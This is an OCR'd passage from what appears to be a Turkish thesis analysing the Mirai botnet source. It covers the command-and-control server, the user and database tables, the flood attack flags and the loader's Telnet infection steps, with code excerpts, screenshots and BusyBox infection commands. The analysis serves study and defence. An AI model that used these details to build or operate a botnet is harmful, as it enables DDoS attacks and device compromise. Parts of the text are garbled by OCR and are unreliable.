altina alinarak clientList.go dosyasi ile olusturulan bot cihaz listesine yeni bir cihaz
olarak eklenmektedir. Gelen veri farkli bir formatta ise yeni bir kullanicinin baglanti

kurdugu degerlendirilerek oturum agmast istenmektedir. 101 portu dinlenirken bu port

main.go

10 const DatabaseRddr string = N¥29:050:0%

11 const DatabaseUser string = "root"

12 const DatabasePass string = "password"

13 const DatabaseTable string = "mirai"

14

15 var clientList *ClientList = NewClientList()

16 var database *Database = NewDatabase (Databaselddr, DatabaseUser, DatabasePass,
DatabaseTable)

17

18 func main() {

19 tel, err := net.Listen("tcp", "0.0.0.0:23")

20 if err != nil {

21 fmt.Println(err)

22 return

23 }

24

25 api, err := net.Listen("tcp", "0.0.0.0:101")

26 if err != nil {

27 fmt.Println(err)

28 return

29 }

Sekil 3.22 : Komuta kontrol sunucusunun baslatimina dair kaynak kodlar.

tizerinden gelen veri yeni bir saldin diizenlemek iizere apiHandler() fonksiyonu ile

islenerek yeni API baglantis1 olarak parse edilmektedir.

3.2.2.2 Admin ve kullanici islemleri

Kayith yoneticilerin oturum acarak botneti yonetmesi, yeni yOnetici/kullanici
olusturulmasi, admin olmayan kullanicilarin oturum agmasi ve saldir1 baglatimi
islemleri admin.go dosyast igerisinde kayithh  fonksiyonlar yardimiyla
gerceklestirilmektedir. Arayiiz igerisinde kullanicty1 yonlendiren komut ve uyarilarin

Rusca ve Ingilizce olarak yazildig1 gériilmiistiir.

Komuta konrol sunucusuna baglanti saglandiginda kullaniciya prompt.txt dosyasi
icerisinde kayithi“s mo6mio kypunsie Harretchl” (Tavuk nugget severim) climlesi hos

29 ¢

geldin mesaj1 olarak gosterilmekte ve “monp3oBarens: (kullanict)”, “mapons : (parola)

2

satirlar1 gosterilerek oturum agma bilgileri girilmesi istenmektedir. Girilen kullanici
ad1 ve parola MySQL veritabaninda dogrulanmaktadir. S6z konusu araytize ait ekran

goriintiisi Resim 3.1°de sunulmustur.
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Resim 3.2°de gosterildigi lizere oturum basariyla agildig: takdirde kullaniciya botnete
bagli giincel bot sayisi, saldirn tipleri goriintiilenmekte ve hangi saldir1 tipinin

secilecegi konusunda kullanicidan girdi beklenmektedir.

root@kali: ~ e ® 0
File Edit View Search Terminal Help

A N0 KypWUHbIE Harrertchl
nonb3oBarvenb user
naponb Ck¥kx

Resim 3.1: Komuta kontrol sunucusunda oturum agma ekrani goriintiisii.

0 Bots Connected | user e ® 0

File Edit View Search Terminal Help

[+] DDOS | Hiding from netstat...

[+] DDOS | Removing all traces of LD PRELOAD...

[+] DDOS | Wiping env libc.poison.so.1l
|
|

[+] DDOS Wiping env libc.poison.so.2
[+] DDOS Wiping env libc.poison.so.3
[+] DDOS | Wiping env libc.poison.so.4

[+] DDOS | Setting up virtual terminal...

[!] Sharing access IS prohibited!

[!] Do NOT share your credentials!

Ready

user@botnet# ?

Available attack list

Istomp: TCP stomp flood

greip: GRE IP flood

greeth: GRE Ethernet flood

udpplain: UDP flood with less options. optimized for higher PPS
vse: Valve source engine specific flood

lack: ACK flood

Isyn: SYN flood

http: HTTP flood

udp: UDP flood

dns: DNS resolver flood using the targets domain, input IP is ignored

user@botnet# J|

Resim 3.2: Kullanic1 tarafindan goriintiilenen saldirt vektori bilgileri.

Resim 3.3’de goriildiigii lizere oturum agma islemi basarisiz oldugu takdirde mpoBepus
cueta (hesaplari denetle), mpousonuia HeusBectHas ombka (bilinmeyen bir hata
olustu), HaxxmuTe JIIOOYIO KiIaBHITy i Beixoa. (¢ikmak i¢in herhangi bir tusa basin)

ikazlari ile kullanic1 yonlendirilmektedir.
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Bu ikazlar digindaki geri kalan tiim uyar1 ve komutlar kullaniciya Ingilizce dilinde

gosterilmektedir. Oturum agma fonksiyonu Sekil 3.23’de gdsterilmistir.

root@Kkali: ~ e @0
File Edit View Search Terminal Help

A M0N0 KypUHbIE HarreTChl
nons3oBartens usernorecord
naposp ¥k

npousowna HeussecTHas owunbka
waxmuTe by knasuwy ans sexopa. (any key)f]

Resim 3.3: Basarisiz oturum a¢gma isleminde goriintiilenen ikazlar.

admin.go

52 this.conn.SetDeadline (time.Now() .Add (120 * time.Second))

S3 this.conn.Write ([lbyte("\r\n"))

54 spinBuf := [lbyte{'-', '\\', 'I', '/'}

55 for i :=0; i < 15; i++ {

56 this.conn.Write (append([]byte ("\r\033[37;lmnpoBepuB cYeTa...
\033[31m"), spinBuf[i % len(spinBuf)]))

57 time.Sleep (time.Duration(300) * time.Millisecond)

S8 }

59

60 var loggedIn bool

61 var userInfo AccountInfo

62 if loggedIn, userInfo = database.TryLogin(username, password);

'loggedIn {

63 this.conn.Write ([lbyte ("\r\033[32; imnponsomta HeU3BECTHaA
ommGxa\r\n") )

64 this.conn.Write ([lbyte ("\033[31lmrasxMiTe OOy KIABMIy IOJIA BEXOIA.
(any key)\033[0m"))

65 buf := make([]byte, 1)

66 this.conn.Read (buf)

67 return

68 }

Sekil 3.23 : Admin.go igerisinde kayith oturum agma fonksiyonu.

Yeni kullanicilar  kayith  yoneticiler tarafindan adduser() fonksiyonu ile
tanimlanmaktadir. S6z konusu fonksiyon ve bu fonksiyonun c¢agirdigi diger
fonksiyonlar incelendiginde tamimlanan kullanicilara yeni kullanici olusturma yetkisi
verilmedigi; ancak saldir diizenleme yekisi verildigi ve her kullanicinin saldir1 i¢in
kullanabilecegi bot sayisinin tanimlanabildigi goriilmiistiir. Bu bulgu bot sayist ile
orantili olarak artan meblaglarda maddi ¢ikar karsiliginda botnetin tanimlanan

kullanicilarin hizmetine sunuldugunu gostermektedir. User isimli yonetici hesabindan
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yeni kullanici olusturma islemi Resim 3.4’te, yonetici olmayan kullanicilarin adduser()

fonksiyonunu c¢alistiramadigi Resim 3.5°te gosterilmistir.

0 Bots Connected | user e ® 90

File Edit View Search Terminal Help

[+] DDOS | Masking connection from utmp+wtmp...
[+] DDOS | Hiding from netstat...

[+] DDOS | Removing all traces of LD PRELOAD...
[+] DDOS | wiping env libc.poison.so.1l

[+] DDOS | Wiping env libc.poison.so.2

[+] DDOS | Wiping env libc.poison.so.3

[+] DDOS | Wiping env libc.poison.so.4

[+] DDOS | Setting up virtual terminal...
[!] Sharing access IS prohibited!

[!] Do NOT share your credentials!

Ready

user@botnet# adduser

Enter new username: tobbetu

Enter new password: pass

Enter wanted bot count (-1 for full net): -1
Max attack duration (-1 for none): -1
ICooldown time (@ for none): ©

New account info:

Username: tobbetu

Password: pass

Bots: -1

Continue? (y/N)y

User added successfully.

user@botnet# I

Resim 3.4: Yeni kullanic1 olusturma.

0 Bots Connected | tobbetu e ® 0
File Edit View Search Terminal Help

A M0G0 KYpPUHblE HarreTchbl
nonb3oBartens: tobbetu
naponb: *¥**

npoBepuB cyerta... |
[+] DDOS | Succesfully hijacked connection

[+] DDOS | Masking connection from utmp+wtmp...
[+] DDOS | Hiding from netstat...

[+] DDOS | Removing all traces of LD PRELOAD...
[+] DDOS | Wiping env libc.poison.so.1l

[+] DDOS | Wiping env libc.poison.so.2

[+] DDOS | Wiping env libc.poison.so.3

[+] DDOS | Wiping env libc.poison.so.4

[+] DDOS | Setting up virtual terminal...

[!] Sharing access IS prohibited!
[!] Do NOT share your credentials!
Ready

tobbetu@botnet# adduser

adduser is not a valid attack!
tobbetu@botnet# [

Resim 3.5: Admin olmayan kullanicilarin adduser komutunu ¢alistiramamasi.

3.2.2.3 Veritaban islemleri

Veritabaninin olusturulmasi, tablolarin yaratilmasi ve dis fonksiyonlardan gelen
verilerin dogrulanmasina yonelik islemler database.go dosyasi igerisine kodlanan
fonksiyonlar yardimiyla gergeklestirilmektedir. Kaynak kodlar incelendiginde
github.com adresinden go-mysq] siiriiciisiiniin import edildigi ve veritabanin “mirai”
adiyla MySQL iizerinden olusturuldugu goriilmiistiir. Main.go’nun NewDatabase()

fonksiyonu ile gondermis oldugu IP adresi, veritabani yoneticisi hesap bilgileri ve
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veritaban1 adi kullanilarak yeni bir veritabani olusturulmakta, veritabani iizerinde
tablolar yaratilmaktadir. Veritabani iizerinde USERS, HISTORY, WHITELIST olmak
tizere li¢ farkli tablo tutuldugu goriilmiistiir. USERS tablosunda kayitl kullanicilarin
kayit numaralari (id), kullanici adi ve parola bilgileri, admin olup olmadigi, en son ne
zaman 0deme yaptig1, api.go lizerinde tanimli fonksiyonlara erisim i¢in gerekli API
anahtari; HISTORY tablosunda kullanicilarca gergeklestirilmis saldirilarin tarihi,
sliresi, kullanilan bot sayisi, kullanilan komutlar gibi bilgiler; WHITELIST tablosunda
botmaster tarafindan hedef alinmasi istenmeyen site bilgileri tutulmaktadir. USERS
tablosu icerigi Cizelge 3.2’de, HISTORY tablosu igerigi Cizelge 3.3’de, WHITELIST
tablosu igerigi Cizelge 3.4’te verilmistir. Bir kullanicinin oturum agma bilgilerini
kontrol eden TryLogin(), saldir1 yapmaya yetkili olup olmadigim1 kontrol eden
CanLaunchAttack(), API anahtarin1 kontrol eden CheckApiCode(), hedef sitenin
beyaz listede kayitli olup olmadigini kontrol eden ContainsWhitelistedTargets()

fonksiyonlar1 database.go i¢erisinde tanimlanmustir.

Cizelge 3.2 : Mirai veritabaninda tutulan USERS tablosu.

Alan Veri Tipi Anahtar Varsayilan Deger
id int(11) PRI NULL
username varchar(15) UNI NULL
password varchar(15) NULL
api_key varchar(500) NULL
max_bots int(11) NULL
admin int(11) NULL
wrc int(11) 0
last_paid timestamp current_timestamp
cooldown int(11) NULL
duration_limit int(11) NULL
intvl int(11) 30

Cizelge 3.3 : Mirai veritabaninda tutulan HISTORY tablosu.

Alan Veri Tipi Anahtar Varsayilan Deger
user_id int(11) MUL NULL

time_sent timestamp UNI current_timestamp
duration int(11) NULL
command varchar(500) NULL
max_hots int(11) NULL

Cizelge 3.4 : Mirai veritabaninda tutulan WHITELIST tablosu.

Alan Veri Tipi Anahtar Varsayilan Deger
prefix varchar(15) NULL
netmask int(11) NULL
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3.2.2.4 Saldir1 baslatimi

Komuta kontrol sunucusu tizerinde oturum agan kullanicilarin vermis oldugu saldiri
komutlarini1 igleme faaliyeti attack.go dosyasi igerisinde kodlanmis fonksiyonlarla
gerceklestirilmektedir. Ayrica admin.go vasitasiyla sunulan arayiiz iizerinden girilen
komutlara goére goriintiilenen uyar1 ve bilgilendirme mesajlar1 attack.go dosyasi
igerisine kodlanmistir. Kullanicinin komut satir1 girdilerine gore saldir1 vektorlerine
ait bilgiler ve bu vektorlere tanimli bayraklar goriintilenmektedir. Attack.go
icerisindeki kaynak kodlar1 incelendiginde toplam 25 bayragin tanimli oldugu
goriilmektedir. SYN flood saldir1 vektoriine ait bayraklar ve bunlarin kullaniciya
goriintiilenmesi islemi Resim 3.6’da, tanimli tiim bayraklara ait komut ve nitelikler

Cizelge 3.5’te gosterilmistir.

0 Bots Connected | tobbetu e ® O

File Edit View Search Terminal Help

adduser is not a valid attack!
tobbetu@botnet# syn 192.168.1.21 120 ?
List of flags key=val seperated by spaces. Valid flags for this method are

tos: TOS field value in IP header, default is 0

ident: ID field value in IP header, default is random

ttl: TTL field in IP header, default is 255

df: Set the Dont-Fragment bit in IP header, default is 0 (no)
sport: Source port, default is random

dport: Destination port, default is random
urg: Set the URG bit in IP header, default is 0 (no)

ack: Set the ACK bit in IP header, default is 0 (no) except for ACK flood
psh: Set the PSH bit in IP header, default is @ (no)

rst: Set the RST bit in IP header, default is 0 (no)

syn: Set the ACK bit in IP header, default is 0 (no) except for SYN flood
fin: Set the FIN bit in IP header, default is 0 (no)

seqnum: Sequence number value in TCP header, default is random

acknum: Ack number value in TCP header, default is random

source: Source IP address, 255.255.255.255 for random

Value of 65535 for a flag denotes random (for ports, etc)
Ex: seq=0

Ex: sport=0 dport=65535

tobbetu@hotnet# [J

Resim 3.6: SYN flood saldir1 vektorii bayraklarinin goriintiilenmesi.

Kullanicr tarafindan girilen saldirt komutlariin igerigi ve formati yine attack.go
icerisindeki fonksiyonlar ile kontrol edilmekte, hatali girislerde kullanici ikaz
edilmekte, dogrulanan komutlar bot cihazlara iletilmek iizere api.go igerisindeki

fonksiyonlara parse edilmektedir.
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Cizelge 3.5 : Saldir1 vektorlerine tanimli bayraklar.

Komut Aciklama Kullanildig: Saldir vektorii
. UDP, ACK, STOMP, GREIP,
len Paket veri boyutu, varsayilan 512 byte GREETH, UDPPLAIN
rand Paket igerigindeki veriyi rastgele seg, UDP, ACK, STOMP, GREIP,
varsayilan 1 (evet) GREETH, , UDPPLAIN
tos IP bagligindaki TOS degeri, varsayilan 0 | UDP, VSE, DNS, SYN, ACK, STOMP,
(hayr) GREIP, GREETH
ident IP basligindaki ID alani degeri, varsayilan | UDP, VSE, DNS, SYN, ACK, STOMP,
rastgele se¢ GREIP, GREETH
l IP basliginda TTL alani degeri, varsayilan | UDP, VSE, DNS, SYN, ACK, STOMP,
255 GREIP, GREETH
df IP basligindaki Don't Fragment alani UDP, VSE, DNS, SYN, ACK, STOMP,
degeri, varsayilan 0 GREIP, GREETH
sport Kaynak port numarasi, varsayilan rastgele | UDP, VSE, DNS, SYN, ACK, STOMP,
P seg GREIP, GREETH
dbort Hedef port numarasi, varsayilan rastgele | UDP, VSE, DNS, SYN, ACK, STOMP,
P sec GREIP, GREETH, UDPPLAIN, HTTP
domain Saldirilacak etki alan1 adi DNS, HTTP
dhid Etki alani transaction ID, varsayilan DNS
rastgele se¢
urg IP basligindaki URG bitini set et, SYN. ACK, STOMP
varsayilan 0
IP basligindaki ACK bitini set et,
ack SYN, ACK, STOMP
varsayilan 0, ACK vektoriinde 1
ash IP basghigindaki PSH bitini set et, SYN, ACK, STOMP
varsayilan 0
rst IP baghigindaki RST bitini set et, SYN. ACK, STOMP
varsayilan 0
IP basligindaki SYN bitini set et,
YN, ACK, STOMP
yn varsayilan 0, SYN vektériinde 1 SYN, ACK, STO
fin IP basligindaki FIN bitini set et, SYN. ACK, STOMP
varsayilan 0
seqnum TCP baghigindaki sira numarasi degeri, SYN. ACK
varsayilan rastgele se¢
acknum TCP basligindaki ACK numarasi degeri, SYN. ACK
varsayilan rastele se¢
gcip Yerel IP adresini hedef IP adresi olarak GREIP. GREETH
ata, varsayilan 0
method HTTP vektoriinde kullanilacak metot adi, HTTP
varsayilan GET
postdata | POST edilecek data, varsayilan "bos" HTTP
path HTTP adres yolu, varsayilan / HTTP
sl HTTPS/SSL Kullan Tanimlanmis ancak saldir1 vekt6rlerinde
kullanilmamustir.
conns Baglant1 sayisi HTTP
source Kaynak IP adresi, rastgele segilecekse UDP, SYN, ACK, GREIP, GREETH

255.255.255.255 gir
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3.2.2.5 Uygulama programlama arayiizii

Cnc dizini igerisinde bulunan api.go dosyas1 igerigindeki kaynak kodlar
incelendiginde bu dosyanin komuta kontrol sunucusunun botnete bagl cihazlar ile

iletisimini saglayan fonksiyonlar igerdigi goriilmiistiir.

Kullanicinin girmis oldugu komut formati attack.go fonksiyonlart ile belirlenen
formata uygun sekilde diizenlenerek api.go  dosyasimma kayith fonksiyonlar
gonderilmektedir. Burada verilen bilgiler dogrulanmakta (kullanicinin saldirt i¢in
belirledigi bot sayisina yetkisi var mi1, para 6demis mi, API anahtar1 gegerli mi, hedef
beyaz listeye dahil mi vb.) ve kontrollerden ge¢en komutlar 6nce Build() fonksiyonu
ile botlara iletilecek byte serilerine doniistiiriilmekte, ardindan clientList dizisinde
adresleri tutulan bot cihazlara gonderilmektedir. Ornek bir dogrulama islemine iliskin

ekran goriintiileri Resim 3.7’de sunulmustur.

root@kali: ~ 0% 0 Bots Connected | tobbetu [- O <]
File Edit View Search Terminal Help | File Edit View Search Terminal Help
Server version: 10.1.37-MariaDB-3 Debian buildd “df: Set the Dont-Fragment bit in IP header, de
-unstable sport: Source port, default is random

dport: Destination port, default is random
Copyright (c) 2000, 2018, Oracle, MariaDB Corpo urg: Set the URG bit in IP header, default is
ration Ab and others. ack: Set the ACK bit in IP header, default is
psh: Set the PSH bit in IP header, default is
Type 'help;' or '\h' for help. Type '\c' to cleggrst: Set the RST bit in IP header, default is
ar the current input statement. syn: Set the ACK bit in IP header, default is
fin: Set the FIN bit in IP header, default is
itelist; seqnum: Sequence number value in TCP header, d
cknum: Ack number value in TCP header, defaul
source: Source IP address, 255.255.255.255 for

alue of 65535 for a flag denotes random (for
Ex: seq=0

Ex: sport=0 dport=65535

tobbetu@botnet# [syn 192.168.1.22 120

MariaDB [mirai]> D tobbetu@botnet#

@ (b)

root@kali: ~/Mirai-Source-Code/mirai/debug

File Edit View Search Terminal Help

root@kali:~/Mirai-Source-Code/mirai/debug# ls
badbot c¢nc enc encl mirai.dbg nogdb scanListen wgets
root@kali:~/Mirai-Source-Code/mirai/debug# ./cnc

ysqt DB~ openeu
Blocked attack by tobbetu to whitelisted prefix

(©

Resim 3.7: Veritabaninda adres dogrulama islemi: (a) whitelist tablosuna
192.168.1.22 adresi kayit edilmis, (b) kullanici arayiiziinden 192.168.1.22
adresine SYN flood saldirisi diizenleme komutu verilmis, (¢) verilen hedef
adresine saldiri, adres whitelist’te bulundugu gerekgesiyle bloklanarak

raporlanmistir.
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3.2.2.6 Bot cihaz kayitlarinin tutulmasi

Komuta kontrol sunucusunun 23 numarali portuna 4 byte’lik 00 00 00 int (int >0) verisi
geldiginde bu verinin yeni bir bot cihazdan geldiginin anlagildig1 ve bot.go dosyasinda
tanimlanan NewBot() fonksiyonun c¢agirildigi bolim 3.2.2.1°de agiklanmustir.
botHandler(), NewBot() tarafindan olusturulan bot nesnesini, botnete dahil edilmis
tiim cihazlarin bilgisinin tutuldugu clientList dizisine kaydeder ve 180 saniye boyunca
bot bilgisini tutar. Bu siire sonunda bottan ping gelmezse bot baglantisini kapatir ve
botun kaydini siler. Burada en giincel baglantinin tutulmasinin istendigi ve botlarin
tarama hizi nedeniyle enfekte olan bir cihazin birkag dakika i¢inde yeniden enfekte

olacaginin kabul edildigi degerlendirilmektedir.

clientList dizisi Mirai i¢in 6zel (custom) tanimlanmig ClientList veriyapisinda veri
tutan bir dizidir. Dizinin tanim1 ve kaynak kodlari clientList.go dosyasi igerisinde
bulunmaktadir. clientList veri yapisina ait kaynak kodlart Sekil 3.24’te sunulmustur.
Bilinen veri tiplerinden farkli olarak, Go diline 6zgii goroutine adi verilen, is
parcaciklarinda (thread) paralel kod yiiriitme amaciyla kullanilan chan (channel) veri

tipinde degiskenler tanimlandig goriilmektedir.

clientList.go

16 type ClientList struct {

17 uid int

18 count int

19 clients map[int] *Bot

20 addQueue chan *Bot

21 delQueue chan *Bot

22 atkQueue chan *AttackSend
23 totalCount chan int

24 cntView chan int

25 distViewReq chan int

26 distViewRes chan map[stringlint
27 cntMutex *sync.Mutex

28 }

Sekil 3.24 : clientList veri yapisi.

Kaynak kodlar incelendiginde Worker() fonksiyonunun bot listesinin giincel olarak
tutulmasini, saldirt komutunun gonderilecegi bot grubunu listelemeyi ve o an baska
bir saldiriya katilan botlara tekrar saldirt komutu gonderilmemesini sagladigi

goriilmiistiir.
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3.2.3 Raporlama sunucusu

Mirai dizini igerisinde bulunan tools klasoriinde scanListen.go isminde go ile yazilmis
bir dosya bulunmaktadir. Dosya igerisinde kayitl kaynak kodlari incelendiginde bu
dosyanin derlenerek bir sunucuda (raporlama- scan callback server) caligtiritlmasi
neticesinde sunucunun 48101 numaral1 portunu dinleyerek; tarama ile tespit edilerek
basarili oturum acilmis zafiyetli cihazlara ait bilgileri topladigi ve komut satiri
arayliziine yazdigi, ancak topladig: bu veriyi baska herhangi bir fonksiyona veya uzak
sisteme gondermedigi tespit edilmistir. Bu sunucunun adresi bot dizini igerisindeki
tables.c dosyasinda TABLE_SCAN_CB_DOMAIN ve TABLE_SCAN_CB_PORT
degiskenleri ile tanimlanmis ve sifreli olarak tutulmaktadir. Etki alan1 adi ve port
numarast ¢oziildiigiinde report.changeme.com ve 48101 oldugu tespit edilmistir.
Scanner.c igerisinde kodlandig1 iizere tarama sonucunda tespit edilen zafiyetli
cihazlara ait bilgiler bu sunucuya gonderilmekte ama bu sunucudan baska bir yere
iletilmemektedir. Raporlama sunucusu — yiikleme sunucusu arasindaki bilgi aktarmini

saglayan kodlarin yaymlanmadig1 goriilmiistiir.

3.2.4 Yiikleme sunucusu

Loader dizini altindaki dosyalar C dili ile kodlanmistir ve yiikleme sunucusunun
faaliyetleri bu dosyalara kayith fonksiyonlar ile yiiriitiilmektedir. Bu sunucunun temel

gorevi zafiyetli cihazlara ikili kodlar yiikleyerek bu cihazlari botnete dahil etmektir.

3.2.4.1 Sunucunun baslatimi

Yikleme sunucusunun baglatiminin  main.c dosyasit ile gerceklestirildigi
goriilmektedir. server.c igerisinde tanimlanan Server create() fonksiyonu ¢agirilarak
wget baglantilar1 icin 100.200.100.100:80 adresiyle tanimli, TFTP baglantilar1 i¢in
100.200.100.100 adresiyle taniml1 yiikleme sunucusunun yaratildig: tespit edilmistir.
TFTP protokolii varsayilan olarak 69 numarali portu kullanmaktadir [95].
Server create() fonksiyonu incelendiginde server.h dosyasinda tanimlanan server 6zel
veri yapisini kullandigi goriilmistiir. Veri yapisinin tanimi incelendiginde yiikleme
sunucusuna dair tim 6zelliklerin burada yer aldig1 goriilmiistiir. Server veri yapsinin

tanimu Sekil 3. 25°te gosterilmistir.

50



Server.h

8 struct server {

9 uint32_t max_open;

10 volatile uint32_t curr_open;

11 volatile uint32_t total_input, total logins, total_echoes,
total _wgets, total tftps, total_ successes, total_ failures;

12 char *wget_host_ip, *tftp host_ip;

13 struct server worker *workers;

14 struct connection **estab_conns;

15 ipv4_t *bind_addrs;

16 pthread t to_thrd;

37 port_t wget_host port:

18 uint8_t workers_len, bind addrs_len;

19 int curr worker child;

20 };

Sekil 3.25 : Server veri yapisi tanimi.

Main.c server_create() fonksiyonunu ¢agirdiktan sonra pthread_create() fonksiyonu
cagirilarak yiikkleme sunucusuna dair istatistikleri tutmak {izere stats thread() is

pargacigi yaratilmaktadir.

Zafiyetli hedeflere ait bilgiler standart veri girisinden okunmakta ve C
fonksiyonlarindan fgets() ile toplanmaktadir. Her ne kadar raporlama sunucusu —
yiikleme sunucusu arasindaki baglantinin nasil saglandigi kaynak kodlar arasinda
verilmese de bu tespitler 1518inda basit bir mekanizma (6rnegin text dosyasi parse
edilmesi) ile veri paylasimi isleminin ¢6ziimlendigi degerlendirilmektedir. S6z konusu
kaynak kodlar Sekil 3.26’da gosterilmistir. Gelen zafiyetli cihaz bilgileri util_trim()

fonksiyonu ile ayristirilip server queue_telnet() fonksiyonu ile yiikleme sunucusuna

gonderilmektedir.
Main.c
61 // Read from stdin
62 while (TRUE)
63 {
64 char strbuf[1024];
65
66 if (fgets(strbuf, sizeof (strbuf), stdin) == NULL)
67 break;
68
€9 util_trim(strbuf);
70
T if (strlen(strbuf) == 0)
72 {
73 usleep (10000) ;
74 continue;
7 }
76
T memset (¢info, 0, sizeof(struct telnet_info));
78 if (telnet_info parse(strbuf, &info) == NULL)
79 printf("Failed to parse telnet info: \"%s\" Format —>
ip:port user:pass arch\n", strbuf);
80 else
81 {
82 if (srv == NULL)
83 printf("srv == NULL 2\n");
84
85 server_queue_telnet (srv, &info);
86 if (total++ % 1000 == 0)
87 sleep(1);
88 }
89
90 ATOMIC_INC (&srv->total_ input);
91 }

Sekil 3.26 : Yiikleme sunucusunun zafiyetli cihaz bilgi toplama fonksiyonu.
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3.2.4.2 Sunucunun ¢alisma dongiisii

Server.c dosyasindaki kaynak kodlar incelendiginde yiikleme sunucusunun islevsel
tiim faaliyetlerinin bu dosya igerisine kodlandig1 goriilmiistiir. Server veri yapisinin
bilesenleri incelendiginde oOzellikle server worker veri tipinde workers isimli
degiskenlerin tanimlandig1 dikkat cekmektedir. Server worker veri yapisinin tanimi

Sekil 3.27°de gosterilmistir.

server.h

22 struct server worker ({
23 struct server *srv;
24 int efd;

25 pthread t thread;
26 uint8 t thread id;
27: F;

Sekil 3.27 : Server worker veri yapisinin tanimi

Kaynak kodlardan da goriilecegi lizere ylikleme sunucusunda her bir zafiyetli cihaz
bilgisini alarak bu cihazlara ilgili zararli kodu yiiklemek iizere ayr bir is parcacigi
olusturulmakta ve bu is parcaciklar: worker olarak adlandirilmaktadir. Ayrica bir epoll
olusturulmaktadir. Epoll Linux isletim siseminde tanimli bir API’dir. Coklu dosya
tanimlayicilarini, giris-¢ikis (I/0) olup olmadigi hususunda gozlemler [96]. Worker
tarafindan enfekte edilecek cihaza dair olusturulan event o worker ile iliskilendirilen
epoll’a kaydedilmektedir. Kullanim maksadinin performansi arttirmak ve is
parcaciklarinin  kesintiye  ugramadan  calisirhgimi  desteklemek  oldugu

degerlendirilmistir.

Her bir worker pargacigi worker() isimli bir fonksiyonu ¢agirmaktadir. Worker()
fonksiyonunda o worker ile iliskilendirilen epoll gézlemlenerek yeni bir event eklenip
eklenmedigi kontol edilmekte, yeni event eklendiginde handle event() fonksiyonu

cagirilmaktadir.

Yeni bir zafiyetli cihaz bilgisi alindiginda main.c’den server queue_telnet()
cagirilarak yeni bir baglanti i¢in kaynak ayirilip ayrilamayacagi kontrol edilmekte,
yeterli kaynak var ise server telnet probe() fonksiyonu cagirilarak yeni cihaz ile
baglanti kurulmaktadir. Server telnet probe() fonksiyonu uzak cihazla baglanti

kurduktan sonra segilen bosta bir worker’in epoll’una yeni bir event eklenmektedir.
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Worker yeni eklenen event’i isleyebilmek icin handle event() fonksiyonunu

cagirmaktadir.

3.2.4.3 Enfeksiyon mekanizmasi

Server.c igerisindeki kaynak kodlar incelendiginde enfekte edilecek cihaz ile ilgili
kritik tiim faaliyetlerin handle event() fonksiyonu icerisine kodlandig1 goriilmektedir.
Icerisinde her bir case’in ¢iktisinin bir sonraki case’de girdi olarak kullanihigi 19
switch-case dongiisii ve bu case’ler icinde kullanilan, tamimlart connection.c
dosyasinda kodlanmig 17 alt fonksiyon yardimiyla enfeksiyon iglemi
gergeklestirilmektedir. Enfekte edilecek her bir cihaz i¢in connection veri tipinde bir
degisken yaratilarak enfeksiyon siireci bu veri tipi biinyesinde olusturulmus bir durum
kontrolorii (state telnet) ile kontrol edilmektedir. Connection veri yapisinin tanimi

Sekil 3.28°de sunulmustur.

Connection.h

8 struct connection {

9 pthread mutex t lock;

10 struct server *srv;

11 struct binary *bin;

12 struct telnet_info info;

13 int fd, echo load pos;

14 time t last_recv;

15 enum {

16 TELNET CLOSED, // 0
17 TELNET CONNECTING, Lf
18 TELNET_ READ_ IACS, 2
19 TELNET USER_PROMPT, l{:3
20 TELNET PASS_PROMPT, /] 4
21 TELNET WAITPASS PROMPT, // 5
22 TELNET_CHECK_LOGIN, // 8
23 TELNET_VERIFY_ LOGIN, VIR
24 TELNET PARSE_PS, // 8
25 TELNET PARSE_ MOUNTS, // 9
26 TELNET READ WRITEABLE, // 10
27 TELNET_COPY_ECHO, LA
28 TELNET DETECT_ARCH, // 12
29 TELNET ARM SUBTYPE, // 13
30 TELNET UPLOAD METHODS, // 14
3T TELNET_ UPLOAD_ECHO, 725
32 TELNET UPLOAD WGET, // 16
33 TELNET_UPLOAD_TFTP, // 17
34 TELNET_RUN_BINARY, // 18
35 TELNET CLEANUP // 19
36 } state_telnet;

37 struct {

38 char data[512];

39 int deadline;

40 } output_buffer;

41 uintlé_t rdbuf pos, timeout;

42 BOOL open, success, retry bin, ctrlc retry;
43 uint8_t rdbuf[8192];

44 };

Sekil 3.28 : Connection isimli 6zel veri yapisi kaynak kodlart.
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Handle event() fonksiyonu ¢agirildiginda oncelikle cihaz ile baglantin1 olup olmadigi
kontrol edilir. Ardindan TELNET READ IACS case’i icinde
connection_cosume_iacs() fonksiyonu cagirilarak basarili bir Telnet baglantisi

saglanip saglanmadigi kontrol edilir.

TELNET USER PROMPT case igerisinde connection consume login prompt()
fonksiyonu ¢agirilarak kullanici adi sorulup sorulmadigi kontrol edilir, soruyorsa

kullanict ad1 girilir.

TELNET PASS PROMPT case igerisinde connection _consume password prompt()
fonksiyonu cagirilarak parola sorulup sorulmadigi kontrol edilir, soruyorsa parola
girilir.

TELNET WAITPASS PROMPT case igerisinde connection consume prompt()

fonksiyonu ¢agirilarak komut satirina enable, shell, sh komutlar1 girilerek oturum

acilip acilmadigi kontrol edilir.

TELNET VERIFY LOGIN case icerisinde basarili bir sekilde Telnet baglantisi
kuruldugu, oturum agildigt ve hedef cihazin Linux komutlarin1 destekledigi
dolayisiyla BusyBox yiiklii oldugu connection_consume_verify login() fonksiyonu

cagirilarak dogrulanir. /bin/busybox/ps komutu ile galisan prosesler goriintiilenerek
kaydedilir.

TELNET PARSE PS case igerisinde connection_consume_psoutput() fonksiyonu
cagirilarak cihaz lizerinde slipheli siirecler sona erdilir. Ardindan /bin/busybox cat
/proc/mounts komutu ile cihaz {zerinde bulunan dosya sisteminin durumu

goriintiilenir.

TELNET_PARSE_MOUNTS case igerisinde connection_consume_mounts()
fonksiyonu ¢agirilarak okunabilir/yazilabilir oldugu tespit edilen dizinlere
"/bin/busybox echo -e '%s%s' > %s/.nippon; /bin/busybox cat %s/.nippon;
/bin/busybox rm %s/.nippon\r\in" komutlar1 ile dnce dizin lizerinde dosya yaratilir,
ardindan yaratilan .nippon dosyas: silinir. Cihazin dosya sistemine ait elde edilen

veriler TELNET READ WRITEABLE’a gonderilir.

TELNET READ WRITEABLE case igerisinde connection_consume_written_dirs()

fonksiyonu gagirilarak rm %s/.t; rm %s/.sh; rm %s/.human komutlari vasitasiyla bagka
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zararll yazilimlarca kaydedilebilecek dosyalar silinir. /bin/busybox cp /bin/echo ve

/bin/busybox chmod 777 komutlar1 ile dizin yazma yetkileri degistirilir.

TELNET_COPY_ECHO case igerisinde connection_consume_copy_op() fonksiyonu
cagirilir, echo komutu yeniden denenerek dogrulama yapilir. Eger cihazin mimarisi
daha Once tespit edildiyse wget ve tftp upload metotlarinin ¢alisirligi kontrol edilir,

